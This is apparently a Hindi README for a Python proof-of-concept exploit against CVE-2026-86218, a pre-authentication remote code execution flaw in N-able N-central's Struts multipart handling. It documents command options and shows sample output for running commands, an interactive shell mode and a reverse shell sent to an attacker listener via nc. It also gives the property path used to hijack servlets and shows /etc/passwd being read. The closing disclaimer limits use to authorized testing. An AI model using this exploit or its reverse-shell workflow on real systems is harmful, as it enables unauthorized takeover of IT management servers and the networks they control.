
CVE-2026-86218 के लिए Python 3 प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो N-able N-central में Struts मल्टीपार्ट रेस कंडीशन के माध्यम से प्री-ऑथ RCE है, जिसमें कमांड एक्ज़ीक्यूशन और रिवर्स शेल सपोर्ट शामिल है।
यह CVE-2026-86218 के लिए एक Python 3 प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो N-able N-central में एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन भेद्यता है।
भेद्यता विवरण:
N-able N-central एक अनऑथेंटिकेटेड एक्शन (/remoteControlAction.do) पर सत्र-स्कोप्ड Struts फॉर्म का उपयोग करता है। दो समवर्ती मल्टीपार्ट अनुरोध फॉर्म के मल्टीपार्ट हैंडलर को रेस कर सकते हैं और Jetty के लाइव कॉन्फ़िगरेशन को Commons BeanUtils प्रॉपर्टी पॉपुलेशन के लिए उजागर कर सकते हैं। यह एक हमलावर को निम्नलिखित की अनुमति देता है:
/bin/sh -s के माध्यम से मनमाने कमांड निष्पादित करने के लिए कॉन्फ़िगर करनाpip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| विकल्प | विवरण |
|---|---|
-t, --target | लक्ष्य N-central URL (जैसे, https://192.168.1.100) |
-c, --command | निष्पादित करने के लिए एकल कमांड |
-i, --interactive | इंटरैक्टिव कमांड मोड |
--lhost | रिवर्स शेल के लिए लिसनर IP |
--lport | लिसनर पोर्ट (डिफ़ॉल्ट: 4444) |
--servlet | बदलने के लिए सर्वलेट: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | जाँचें कि लक्ष्य भेद्य है या नहीं |
--no-verify-ssl | SSL प्रमाणपत्र सत्यापन अक्षम करें |
--timeout | अनुरोध टाइमआउट (डिफ़ॉल्ट: 30s) |
--race-delay | रेस कंडीशन विलंब (डिफ़ॉल्ट: 0.35s) |
-v, --verbose | वर्बोज़ आउटपुट सक्षम करें |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
अपेक्षित आउटपुट:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
अपेक्षित आउटपुट:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
पहले लिसनर प्रारंभ करें:
nc -lvnp 4444
एक्सप्लॉइट चलाएँ:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
अपेक्षित आउटपुट:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
लिसनर आउटपुट:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
इंटरैक्टिव सत्र:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| सर्वलेट | विवरण | प्रभाव |
|---|---|---|
LogRetrieval | लॉग रिट्रीवल एंडपॉइंट (डिफ़ॉल्ट) | सबसे कम विघटनकारी, रीस्टार्ट तक लॉग अनुपलब्ध |
FileTransfer | फ़ाइल ट्रांसफर एंडपॉइंट | फ़ाइल ट्रांसफर कार्यक्षमता बाधित करता है |
AutomationManagerDownloadServlet | ऑटोमेशन मैनेजर डाउनलोड | प्रबंधन UI पोर्ट (8443) की आवश्यकता है |
/remoteControlAction.do को क्वेरी करेंयह भेद्यता Struts के मल्टीपार्ट फॉर्म हैंडलिंग में एक रेस कंडीशन का शोषण करती है:
म्यूटेशन फ़ील्ड JavaBean प्रॉपर्टी पथों का उपयोग करते हैं:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
यह निम्नलिखित को पार करता है: मल्टीपार्ट हैंडलर → सर्वलेट कॉन्टेक्स्ट → क्लासलोडर → WebAppContext → सर्वलेट हैंडलर → विशिष्ट होल्डर
/remoteControlAction.do पर असामान्य अनुरोधयह एक्सप्लॉइट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध इस एक्सप्लॉइट का अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की अनुमति नहीं है, अवैध और अनैतिक है।
पेनेट्रेशन टेस्टिंग गतिविधियाँ संचालित करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।